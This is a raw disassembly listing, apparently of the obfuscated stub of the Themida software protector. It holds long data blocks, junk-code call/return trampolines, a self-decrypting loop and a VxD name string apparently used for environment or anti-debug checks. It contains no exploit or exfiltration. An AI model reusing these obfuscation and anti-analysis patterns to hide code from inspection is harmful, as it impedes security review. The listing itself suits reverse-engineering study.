dd 91D4038h, 367A0h, 87CA7C00h, 659C44D3h, 82BB72E9h, 5F9C4FC6h dd 79B86CEBh, 49BBC7C5h, 65F468A7h, 50C783C4h, 6CEB5F9Ah dd 0DFCA7EB3h, 0F942EDDh, 73706BDFh, 5B04D7A9h, 0E1F67A26h dd 0BA81B65Ah, 472BD716h, 0CC7CE260h, 0AF26026Dh, 2A9EC2F9h dd 0BBFF4ABh, 0C607AA31h, 0F90D4DDAh, 0C59BA346h, 5C00CCA1h dd 8D4C1EBDh, 255E03D9h, 0FCD15541h, 7C0C25E4h, 0E0A67FCh dd 9D510862h, 209E8562h, 0C3942383h, 0F9D411B0h, 0D9397B36h dd 0ACh, 44793233h, 0ED55542Ah, 96DCC7Ch, 0DC4E502Dh, 5C71A65Dh dd 2EE2DDFh, 0CC00AC53h, 93C87F6Dh, 0B2E7A017h, 0F9E2F1BEh dd 0F3E724E7h, 0C39F9803h, 0CA1BBA07h, 239563DFh, 30A78394h dd 0D1554178h, 0FB30DBF5h, 8B9E1558h, 0BDA3BD8Fh, 114874CEh dd 0B794909Eh, 550948FCh, 76E322C6h, 4038FA31h, 751C8D99h dd 8A000002h, 0B229A5E8h, 9007C3FAh, 0AD2CA0D9h, 7A01BDFAh dd 252397D6h, 0BAF9ABD9h, 95D677FEh, 0B1ECA219h, 90C57EFDh dd 5C4F311Ch, 6BDF08E6h, 0D71BA1FEh, 43071C96h, 0D289E2D3h dd 5209DE1Fh, 6CEB5F9Eh, 3CCA7EB3h, 50447932h, 0B90900DEh dd 966DCC7Ch, 66CAB6EFh, 7DC5C4B6h, 996DCC7Ch, 17A4B99Dh dd 3F213B70h, 0CC7CF64Ch, 0D4770E6Dh, 6B87EB97h, 5C7BC88Eh dd 25BE6D7Fh, 0C167FC1Fh, 5CEAB165h, 0BF9423A1h, 45886D04h dd 25397B4Dh, 2Ah, 1EBD5C67h, 20CC5D4Ch, 7EDA67FCh, 2B97926Ch dd 0CB9423A1h, 0DD8C7A4Fh, 9423A161h, 9550EF84h, 397B593Ch dd 431Ch, 45026E00h, 46DCC7Ch, 599A4BF5h, 31D8637Dh, 53280CF8h dd 8757E2Dh, 0EC6F67FCh, 280CF839h, 8F384F53h, 0A6CAA65Ah dd 48364832h, 2388E161h, 82290594h, 942388C0h, 88BB0702h dd 0FF5B9423h, 6E36130Fh, 4C1EBD5Ch, 7CCB7732h, 2F2B6DCCh dd 0E243461Ah, 1C67FC1Eh, 0B9055440h, 5C9423A2h, 0A46D8827h dd 14397B4Bh, 0B064A345h, 233197B4h, 9B000000h, 0CC7C4402h dd 0E7F4036Dh, 81D1615h, 0BDB967FCh, 7085AAA3h, 0E6206DD6h dd 0DF0CA05Ch, 81567006h, 0BD5C2FBDh, 7CC18128h, 0A55E6DCCh dd 0F0A08470h, 13AF5A74h, 0F36DCC7Ch, 8A815B77h, 67FBD228h dd 0DB5E70ECh, 0BC3BEF24h, 0CD22CE03h, 1A53FA46h, 7FBC6F66h dd 29BB7663h, 0A726C1A4h, 0DDFAB1CBh, 179E178Eh, 13784CD6h dd 21981DD0h, 0E440346Bh, 45171307h, 0FC46451Bh, 189E1535h dd 0CB743F1Ch, 0EC932296h, 0DFF6CBB7h, 8074AB61h, 0D0AEC0A4h dd 52276809h, 254C6459h, 41A68294h, 5E2C8EF6h, 0A1594A5Ah dd 0B6000000h, 0DE5DD114h, 0BC3BEF26h, 8910CC05h, 0A635A9E6h dd 2107C302h, 96D577E5h, 0B1F29322h, 8DC87EFDh, 6CA14AD1h dd 803FDF0h, 6BDF0ABAh, 5CB77D5Ah, 324C1EBDh, 0CC7CCB77h dd 4122F66Dh, 93EAC939h, 966A7FDBh, 0FBEFB693h, 20D45067h dd 11CD02A9h, 0F8ACE18Ah, 8EDA2B1h, 8322812Ah, 0F8B4E9A2h dd 0E195CA81h, 1C0845EAh, 0D958F78Ah, 71AC6232h, 9C5A185h dd 6309D992h, 0D8FC782Ch, 1EBB2Ch, 0F6C50000h, 6B41164Fh dd 4002A9D7h, 0A46DCC7Ch, 1B55B3C8h, 5B12ECA0h, 0CEF26E22h dd 0A3293E22h, 493D8032h, 0B0649952h, 463A7519h, 0A95D9E4Fh dd 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h, 55417830h dd 0E08950CFh, 405h, 4E88300h, 8B240487h, 3F682424h, 8900005Ah dd 8956242Ch, 4C681E6h, 81000000h, 4EEh, 24348700h, 240C895Ch dd 661CBF57h, 0E7D1152Ah, 8103EFC1h, 0DF68CBC7h, 31EF8141h dd 81757B34h, 648986C7h, 5FFD8934h, 240C8B54h, 6804C483h dd 3CE8h, 0BA241489h, 8, 2A89CA01h dd 240C8B5Ah, 5E08950h, 4, 8704C083h, 0FF5C2404h, 815D2434h dd 4C4h, 8A2E900h, 0F228FFFDh, 3B09EEFDh, 0D810C084h ; --------------------------------------------------------------------------- pop es or ah, al loc_582C43: ; CODE XREF: Themida_:loc_580B3Bj mov eax, 6137742h add eax, ebp jmp eax ; --------------------------------------------------------------------------- mov esp, 0A51977D8h dec eax retf 863Ah ; --------------------------------------------------------------------------- db 8Eh, 0FAh, 72h dd 0FF62229h, 7F4DE4F0h, 7880D9D0h, 6E8h, 0DFBF8D00h, 0B7ACE145h dd 0C2815AD3h, 7588h, 0EE9h, 228E6100h, 75FCFA3h, 0DCF15F69h dd 0BEA23ED0h, 3640242Ch, 391BF681h, 85B53640h, 0E95832FFh dd 11h, 0B5AB483h, 9B208348h, 0AD092846h, 463877F4h, 35F0817Fh dd 810724C8h, 37C27AF0h, 3800F46h, 66000000h, 0E881CF8Bh dd 92D91F6h, 11E9h, 0A65F2800h, 0C8ED8D9Fh, 0D5C55174h dd 975B86E7h, 665074DDh, 28FFA8Bh, 68D0Fh, 8E0F0000h, 0 ; --------------------------------------------------------------------------- sub edx, 4 jle loc_582D11 jmp loc_582D11 ; --------------------------------------------------------------------------- dw 7704h dd 0A72ACF48h, 2A763F0Ch, 0E02E8848h ; --------------------------------------------------------------------------- push esi loc_582D11: ; CODE XREF: Themida_:00582CF7j ; Themida_:00582CFDj dec esi jnz near ptr dword_582C58+40h stc jmp short loc_582D4F ; --------------------------------------------------------------------------- aIfsmgrVkdVmmVw db 'IFSMGR VKD VMM VWIN32 VXDLDR ',0 dd 2 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_582D4F: ; CODE XREF: Themida_:00582D19j jmp loc_58353A ; --------------------------------------------------------------------------- push 0 push eax call sub_582D5F and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_582D5F proc near ; CODE XREF: Themida_:00582D57p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_582D5F endp ; --------------------------------------------------------------------------- mov dl, 3Dh jecxz short loc_582DD3 pusha mov cl, bh mov edx, 5B0050F2h popa cmc mov dword ptr [ebp+61378D8h], 0 push 0 push ebp call sub_582D92 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_582D92 proc near ; CODE XREF: Themida_:00582D8Ap arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_582D92 endp ; --------------------------------------------------------------------------- dw 2976h dd 600BBD40h, 5E860h, 0AF750000h, 5E3A870Ch, 8E9h, 0F729B700h dd 6EDDE124h, 6CB9617Bh, 61673261h, 6AC68Bh, 3E857h db 2 dup(0), 20h ; --------------------------------------------------------------------------- loc_582DD3: ; CODE XREF: Themida_:00582D71j pop edi retn ; --------------------------------------------------------------------------- pop edi mov [esp+4], edi add dword ptr [esp+4], 17h inc edi push edi retn ; --------------------------------------------------------------------------- db 0DCh, 26h, 0D8h dd 0B8A0FCDh, 60000000h, 0CC49BE66h, 8FC88166h, 0B70F61B0h dd 18B0FD8h, 0F8000000h, 6A10E8C1h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0A93EC357h dd 0F1068BE9h, 8D0FC345h, 7, 1850Fh, 66F90000h, 0F808C8C1h dd 78DC8589h, 6A0613h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 0C61ABEC3h, 0F468678h, 188h, 0C166F500h dd 6A08CBh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 60BF2BC3h, 0C2B70F53h, 63BB665Bh, 0FB836167h dd 31850F40h, 0E9000000h, 0Bh, 60C5DAC1h, 0BB2858F4h, 8D5467DAh dd 1378B0BDh, 8B0F6006h, 3, 0FD0B70Fh, 48Bh, 0DABA6600h dd 0B3E961B6h, 0F9000001h, 0F0DFB83h, 3185h, 2860F00h dd 60000000h, 0B8BD8D61h, 0F061378h, 182h, 8FE9FC00h, 0F000001h dd 685h, 80FC6000h, 0E96157D8h, 6, 0C7748646h, 0FB83727Bh dd 0A7850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 0CE57C356h, 0A7EA2990h dd 67C8264Ch, 78B0Fh, 8F0F0000h, 1, 0C0BD8DF8h, 6A061378h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 2C12C350h, 383432EFh, 9E9h, 97312200h, 87A43C23h dd 13E924C2h, 0F0000000h, 7E7E4CDFh, 74E9B8h, 0BDBA0576h dd 14102CCDh, 0EBE99E53h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0CB95C350h dd 0ECF67B0Bh, 0FB83F845h, 60850F2Ah, 0F000000h, 0B8Ah dd 6E900h, 0B2410000h, 367B4BB4h, 78C8BD8Dh, 8C0F0613h dd 0Eh, 820F60h, 0F000000h, 8Ah, 8FE96100h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 1214C356h, 28957727h, 8E92B8Eh, 76000000h dd 0A3462486h, 83541493h, 850F27FBh, 38Eh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 19C35545h, 7E9C8h dd 50C60000h, 0C14E3789h, 11E932h, 0E5470000h, 0A55F7D87h dd 622F02C7h, 87048AA1h, 8D89C962h, 1378D0BDh, 0CE906h dd 9BBC0000h, 0F241562h, 2832BB00h, 0BD8910B5h, 61378E0h dd 9E9h, 2DAA3400h, 15F935E5h, 8C66AFE9h, 0CB8160C8h, 551A2137h dd 11E9h, 7F5700h, 0B105074Bh, 0F46A2D21h, 0AAF4FADAh dd 24617E6Dh, 51006A03h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 8C0F6A1Eh, 5, 94D68060h, 7E9F861h dd 0E8000000h, 5EC5C0BFh, 0C00AAC49h, 220850Fh, 850F0000h dd 10h, 0BE9h, 9B08E400h, 0A1459FEEh, 4647A7CBh, 7FA0B58Dh dd 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 49FC84C3h, 0F8D0C6C2h, 14E952h, 0A7160000h dd 84401AE8h, 9C4530B7h, 0FE6D2A5Dh, 44003263h, 0F60B5DCh dd 38Eh, 0D0BF0F00h, 858B61F8h, 613804Ch, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Ch, 0B3C35646h, 9E666597h dd 537C643h, 13E9h, 6A70A500h, 24355E59h, 4363C5AFh, 0BD71D075h dd 3552EA32h, 0C830F92h, 0E9000000h, 7, 0C2E2C11Eh, 50F3E0B1h dd 0EE9h, 0B6660D00h, 5D36C0BAh, 7B539F8Ch, 9241937Eh dd 18810Fh, 13E90000h, 74000000h, 7011E0DFh, 4AB55AA6h dd 5297EA39h, 0CB9E5EC0h, 10F709Ah, 60FE244Ch, 1850Fh dd 80F50000h, 606133EFh, 6830Fh, 8D0F0000h, 0 ; --------------------------------------------------------------------------- popa pop edx push 0 push esi call sub_58320D and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58320D proc near ; CODE XREF: Themida_:00583205p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_58320D endp ; --------------------------------------------------------------------------- push 61h cdq cmp al, 0FAh mov byte ptr [eax-46h], 12h jbe loc_58323E pusha jmp loc_583237 ; --------------------------------------------------------------------------- dw 823Eh db 0Eh, 8Fh, 7Bh ; --------------------------------------------------------------------------- loc_583237: ; CODE XREF: Themida_:0058322Dj and ecx, 448648D0h popa loc_58323E: ; CODE XREF: Themida_:00583226j jmp loc_58324C ; --------------------------------------------------------------------------- db 0E5h dd 0FDD74CE6h, 9EB293A1h ; --------------------------------------------------------------------------- loc_58324C: ; CODE XREF: Themida_:loc_58323Ej add edx, 24h jns loc_583264 jmp loc_583264 ; --------------------------------------------------------------------------- dw 7AF1h dd 57009B6Ah, 219A183h ; --------------------------------------------------------------------------- loc_583264: ; CODE XREF: Themida_:0058324Fj ; Themida_:00583255j mov [edx-4], si push 0 push edx call sub_583273 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_583273 proc near ; CODE XREF: Themida_:0058326Bp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_583273 endp ; --------------------------------------------------------------------------- db 8 dd 168EEDA3h, 9DADE8D0h, 10CEC1F8h, 7E9h, 0E1966300h, 2A8E795Fh dd 2728966h, 0D890Fh, 8E90000h, 0CD000000h, 9F6A0612h dd 0CDB0B461h, 51006A04h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 0C80E45EAh, 0BE9065Fh dd 0B8000000h, 9C990151h, 6B259D51h, 11E96D26h, 0CF000000h dd 0FEBAACAEh, 0CD804892h, 0C065C51h, 49C127CCh, 18C0Fh dd 0E9F80000h, 99h, 9E9h, 56E6CF00h, 0AD22A8A7h, 858B0A9Fh dd 613804Ch, 0C810Fh, 880F0000h, 6, 8C0Fh, 0B58D0000h dd 6137FA0h, 6870Fh, 66600000h, 6114F0BFh, 54E6858Dh, 6A0613h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 0E99CB8C3h, 8, 0B95B6032h, 571E30AAh, 6AD0FFh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 676EF1C3h, 0FE39028h, 782h, 18B0F00h, 0FC000000h, 0D88589FCh dd 60061378h, 6800Fh, 0EF810000h, 6F480333h, 0DAEBFFBBh dd 6A61617Ah, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 0FBE6C350h, 858BF831h, 61378D8h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 24C35545h dd 0F0421122h, 0B378C933h, 0A9E68060h, 60F8C361h, 9E9h dd 0C4518500h, 0E1152109h, 0BD83599Ch, 613804Ch, 72850F00h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 9B63C350h, 238AE67Bh, 85C79C41h dd 613804Ch, 1013Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0FDC35242h, 30B62CEBh, 786264CAh, 13820F62h dd 0E9000000h, 0Eh, 910E2CA3h, 0BC936BA0h, 750647E7h, 8E0F0F45h dd 1, 17E9FCh, 12E90000h, 0D2000000h, 1965609Ch, 480A62CEh dd 537775E8h, 88F3C493h, 20CD13h, 0B000000h, 8D3774C0h dd 0BD8B0C70h, 61378E0h, 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h dd 61378DCh, 7F34583Bh, 6BD38B15h, 0CA0304D2h, 8589018Bh dd 61378D8h, 8B04EBh, 8B61C5EBh, 1378D885h, 0B760CF06h dd 0DF816693h, 6A617788h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 3783C355h, 11E9h, 6DB19900h dd 890B0153h, 0EEFDF228h, 0C0843B09h ; --------------------------------------------------------------------------- adc al, bl loc_58353A: ; CODE XREF: Themida_:loc_582D4Fj mov eax, eax call sub_583550 pop edx push ecx mov bl, 2Eh ; --------------------------------------------------------------------------- db 0D9h, 0D4h, 0DFh dd 0ED3C3A80h, 842DE3A1h ; =============== S U B R O U T I N E ======================================= sub_583550 proc near ; CODE XREF: Themida_:0058353Cp var_64 = dword ptr -64h var_5C = dword ptr -5Ch var_48 = dword ptr -48h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 pop esi push edi mov cx, 2D5h pop ebx add esi, 5B9Ch mov bx, 6145h mov edi, 16C8h sub bx, 0B429h loc_58356B: ; CODE XREF: sub_583550:loc_5835B4j push dword ptr [esi] mov ch, 41h pop eax mov bx, di sub eax, 2365F8BCh mov dh, 0Ah sub eax, 5FA0A845h mov bx, cx sub eax, 18C448A0h mov ebx, eax mov [esi], eax mov edx, 603B9096h sub esi, 4 movzx ebx, dx dec edi jnz loc_5835B4 mov edx, 0D58256Bh jmp loc_5835C1 ; --------------------------------------------------------------------------- dw 5C4Ch ; --------------------------------------------------------------------------- xor esi, ebp adc [ebx+5173716Eh], esi loc_5835B4: ; CODE XREF: sub_583550+4Aj jmp loc_58356B ; --------------------------------------------------------------------------- db 11h, 0B1h, 15h dd 9B94871h db 8Ch ; --------------------------------------------------------------------------- loc_5835C1: ; CODE XREF: sub_583550+55j jmp loc_5839C6 ; --------------------------------------------------------------------------- align 4 dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0) dd offset loc_55FFFD+3 dd offset dword_445750+0A8B0h dd 0 db 2 dup(0) ; --------------------------------------------------------------------------- loc_5839C6: ; CODE XREF: sub_583550:loc_5835C1j jmp loc_584BA3 ; --------------------------------------------------------------------------- push 0 push edx call loc_5839D6 and [edx-3Dh], bl loc_5839D6: ; CODE XREF: sub_583550+47Ep pop edx mov [esp+arg_0], edx add [esp+arg_0], 16h inc edx push edx retn ; --------------------------------------------------------------------------- adc ebp, [edi+22h] mov [ebp+6101165h], esi mov [ebp+610228Dh], edi loc_5839F5: ; DATA XREF: Themida_:0054D5BCo mov eax, [ebp+6102E61h] push 0 push ebx call loc_583A06 and [ebx-3Dh], bl loc_583A06: ; CODE XREF: sub_583550+4AEp pop ebx mov [esp+8+var_4], ebx add [esp+8+var_4], 15h inc ebx push ebx retn ; --------------------------------------------------------------------------- jle short near ptr loc_583A65+2 jno loc_583A1F cld loc_583A1F: ; CODE XREF: sub_583550+4C8j mov [ebp+610348Dh], edi cmp [esp+0Ch+var_8], eax jnz loc_583ABD push 0 push eax call loc_583A3A and [eax-3Dh], bl loc_583A3A: ; CODE XREF: sub_583550+4E2p pop eax mov [esp+10h+var_C], eax add [esp+10h+var_C], 1Dh inc eax push eax retn ; --------------------------------------------------------------------------- xor [esp+14h+var_14], eax sbb al, 0C3h sub eax, 0C43629E4h stc cmp dword ptr [ebp+61022E5h], 0 jz loc_583ABD push 0 push ebp loc_583A65: ; CODE XREF: sub_583550+4C6j call loc_583A6D and [ebp-3Dh], bl loc_583A6D: ; CODE XREF: sub_583550:loc_583A65p pop ebp mov [esp+18h+var_14], ebp add [esp+18h+var_14], 17h inc ebp push ebp retn ; --------------------------------------------------------------------------- xlat mov byte ptr [ebx+30h], 89h xchg eax, ebp xchg eax, ebp and edx, [eax] push es lea eax, [ebp+6103A32h] pusha loc_583A8E: ; CODE XREF: sub_583550+56Aj mov si, 343Bh sub [ebp+610141Dh], edi popa jmp eax ; --------------------------------------------------------------------------- push 0 push ecx call loc_583AA6 and [ecx-3Dh], bl loc_583AA6: ; CODE XREF: sub_583550+54Ep pop ecx mov [esp+24h+var_20], ecx add [esp+24h+var_20], 1Ah inc ecx push ecx retn ; --------------------------------------------------------------------------- jbe short near ptr loc_583AF2+1 jmp short loc_583AEC ; --------------------------------------------------------------------------- js short loc_583A8E cdq loc_583ABD: ; CODE XREF: sub_583550+4D9j ; sub_583550+50Cj mov eax, [ebp+61020E5h] push 0 push edi call loc_583ACE and [edi-3Dh], bl loc_583ACE: ; CODE XREF: sub_583550+576p pop edi mov [esp+10h+var_C], edi add [esp+10h+var_C], 15h inc edi push edi retn ; --------------------------------------------------------------------------- dw 80CDh dd 1840Fh, 0FCF90000h, 1C9DBD29h ; --------------------------------------------------------------------------- loc_583AEC: ; CODE XREF: sub_583550+568j adc [esi], al cmp [esp+4], eax loc_583AF2: ; CODE XREF: sub_583550+566j jnz loc_583B28 mov [ebp+61010E1h], edx jg loc_583B0A mov [ebp+61019DDh], ecx loc_583B0A: ; CODE XREF: sub_583550+5AEj mov dword ptr [ebp+6138557h], 1 jmp loc_583B28 ; --------------------------------------------------------------------------- db 0C0h, 36h, 5Dh dd 7B539F8Ch, 6C41937Eh, 0CA57412Ch ; --------------------------------------------------------------------------- loc_583B28: ; CODE XREF: sub_583550:loc_583AF2j ; sub_583550+5C4j pusha clc jmp loc_583B3A ; --------------------------------------------------------------------------- db 89h dd 1000E9BDh, 0F906h db 2 dup(0) ; --------------------------------------------------------------------------- loc_583B3A: ; CODE XREF: sub_583550+5DAj mov eax, 1 loc_583B3F: ; CODE XREF: sub_583550+5F7j xchg eax, [ebp+61386CBh] or eax, eax jnz short loc_583B3F push dword ptr [ebp+61023E5h] pop dword ptr [ebp+613854Fh] push 20h push 0FFFFFFFFh call dword ptr [ebp+61006B9h] cmp dword ptr [ebp+6102D79h], 0 jz short loc_583B70 push 0 call dword ptr [ebp+61031C9h] loc_583B70: ; CODE XREF: sub_583550+616j cmp dword ptr [ebp+6102969h], 1 jz short loc_583B86 push 80h push 0FFFFFFFFh call dword ptr [ebp+61006B9h] loc_583B86: ; CODE XREF: sub_583550+627j push 0 push esi call loc_583B91 and [esi-3Dh], bl loc_583B91: ; CODE XREF: sub_583550+639p pop esi mov [esp+60h+var_5C], esi add [esp+60h+var_5C], 18h inc esi push esi retn ; --------------------------------------------------------------------------- db 0E1h, 0E7h, 12h dd 830F9528h, 1, 0E18D01F9h, 6A061018h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 706DC357h dd 9D2B6022h, 6101C45h, 1C02B61h, 1031C18Dh, 24548B06h dd 0E99D0928h, 8906101Eh, 10147585h, 0ADB53106h, 0BE06100Fh dd 3Ch, 21E5BD09h, 74030610h, 6A2424h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 2F6977C3h dd 893316C3h, 101CF9BDh, 6AAD6606h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 3BF3C350h dd 15FA05B6h, 7218501h, 3FC0610h, 6A242444h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 0EF1DC355h, 0B4B3B77Dh, 60F5600Ah, 0F1B589h, 33BF0610h dd 61182CD5h, 52505061h, 108E0Fh, 0BE90000h, 0F2000000h dd 0EA53200Bh, 1BA9B049h, 310F0C6Bh, 8E9h, 42F14D00h, 0E9EE9D90h dd 89585A12h, 8BF82404h, 95297840h, 61029A5h, 8557BD83h dd 0F000613h, 13185h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 90F90587h, 1E8F0Fh, 0E8600000h dd 14h, 0E2E95E65h, 8DC6E95Ah, 311E82AEh, 87FF5DBBh, 0F3D4DDB7h dd 61C78B5Bh, 0F525050h, 289h, 0F616000h, 60525031h, 60310F61h dd 5A585A61h, 850F9058h, 16h, 9E960h, 46290000h, 345BED1Eh dd 0F184B23h, 81h, 448B6100h, 6A2C24h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 892F25C3h dd 102D0195h, 69B52906h, 90061004h, 108C0Fh, 850F0000h dd 0Ah, 5E9h, 0A9CDE800h, 6050855Eh, 14E860h, 0E20E0000h dd 9D1F4D19h, 56116E93h, 0D1F01068h, 2004BDBBh, 665E5B12h dd 6162FFB8h, 0AE9h, 55157D00h, 2C4B2726h, 615B3616h, 518D0190h dd 8D061029h, 134F6A85h, 7E906h, 84920000h, 46CE7579h dd 6AD0FF25h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0CF0BC356h, 92AC46D7h, 2AE1BD09h dd 44030610h, 6A2824h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 624D5AC3h, 901B531h, 408B0610h dd 0DE96018h, 67000000h, 1F71C222h, 70556791h, 39F28C3Ah dd 51E5BF66h, 0E5B58961h, 40061014h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 51C35343h, 952B6060h, 6102A81h dd 61F18B66h, 85538589h, 6A0613h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 0FCA228C3h, 5BFB004Fh dd 58DDBDCAh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 67C35141h, 78708BEDh, 0ED9D2960h, 8B061016h, 100E9DBDh dd 13E96106h, 6C000000h, 0E72E9913h, 79EC8A99h, 0DD3B30CDh dd 8C565DB0h, 0C683FFCEh, 0F96F81Ch, 1386h, 0EE900h, 0A2500000h dd 9131C54h, 1CC19056h, 12B8010Eh, 24247C81h, 10000000h dd 0C2870Fh, 90F50000h, 0DE960h, 6F230000h, 48CBB432h dd 6F82B9C3h, 61D11A7Bh, 60525050h, 0F6129B7h, 0F525031h dd 8Eh, 0F310F00h, 82h, 5A585A00h, 8D099058h, 6100CA9h dd 2824448Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 6CC35343h, 58F8267Ch, 0F1F3CACh, 0C82h, 6880F00h dd 9000000h, 10092595h, 85896006h, 6103341h, 5061E0B4h dd 0CE9h, 0F2E70100h, 88522FF2h, 6D85E878h, 240489DFh dd 59D8B60h, 0F061019h, 86h, 858D6100h, 6134F6Ah, 9E9h dd 199A0A00h, 0DB60B255h, 0D0FF296Eh, 6880Fh, 95310000h dd 61006CDh, 810F6096h, 3, 61D9B70Fh, 24247403h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 49C35242h, 60021E75h dd 10E94Bh, 61D0000h, 653E1D23h, 65AEE617h, 95C81447h dd 880F9F83h, 18h, 13E9h, 0A3FBE800h, 938AB676h, 38CF26ADh dd 4F5B9EEEh, 0CC70D769h, 20B5BD8Dh, 6A0610h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 93FA93C3h dd 0BFD2AE1Dh, 6AAD0Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 0F81FAC3h, 0C87h, 6860F00h, 0F000000h dd 8Ah, 247C8100h, 24h, 0DC870F10h, 0F000000h, 168Ah, 11E900h dd 12EF0000h, 0BF357B60h, 0D3EA1D77h, 0D622B3A5h, 90789C4Ah dd 8E9h, 0E4BF900h, 169E4336h, 0E8605020h, 0Fh, 8CE5F80h dd 8332ECD5h, 0E63EAC12h, 0BFA227D7h, 6ED69A16h, 0BE95Fh dd 2EBF0000h, 0B3012BEDh, 0A7876F5Eh, 609061C3h, 130DB589h dd 8B660610h, 448B61CEh, 7E92824h, 39000000h, 7F5A10D2h dd 6050282Dh, 13E9h, 24643400h, 0E480E9FCh, 96A0C692h dd 0AA903950h, 2724EDD1h, 59616056h, 24048961h, 8860Fh dd 830F0000h, 2, 858D6160h, 6134F6Ah, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 0D7C35242h, 0BD8B60CCh, 61015CDh dd 10E19D8Bh, 0FF610610h, 8D9D89D0h, 3061034h, 6A242444h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0D31EC356h, 5425BC19h, 0AB3C8A49h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 65C35545h, 4D5ACE41h dd 0FA810762h, 10000h, 7AA820Fh, 870F0000h, 8, 28E0Fh dd 61600000h, 2F59BD8Dh, 89F90610h, 10228D8Dh, 6AAD06h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 0E85AFBC3h, 0BDB53157h, 81061013h, 24247Ch, 0F100000h dd 0DA87h, 15BD0100h, 90061013h, 11E860h, 0F6A50000h, 6CD9FE6h dd 3287053h, 1B327493h, 6647711Ah, 0E95EF88Bh, 13h, 9F8E949Bh dd 0F2C7D525h, 6A737492h, 28C6CA1Ah, 6113FF89h, 0BE950h dd 0EE6E0000h, 986D7434h, 0D1A80CA2h, 8BF990C3h, 0F282444h dd 68Dh, 4DB58900h, 90061033h, 0E8A0Fh, 52500000h, 310F6160h dd 8B0Fh, 585A0000h, 48C0F50h, 60000000h, 90616160h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0E3C35040h, 21BE00ECh dd 9908A23Ch, 719529FCh, 8D06101Eh, 134F6A85h, 85896006h dd 6102F1Dh, 61F18B66h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 33028C3h, 89242444h dd 1001CD9Dh, 0B58B6006h, 6102F99h, 1629858Bh, 50610610h dd 0FE9h, 82F82000h, 1C2A0278h, 23A8BE29h, 0B8C2131Fh dd 6A240489h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 5ABAC353h, 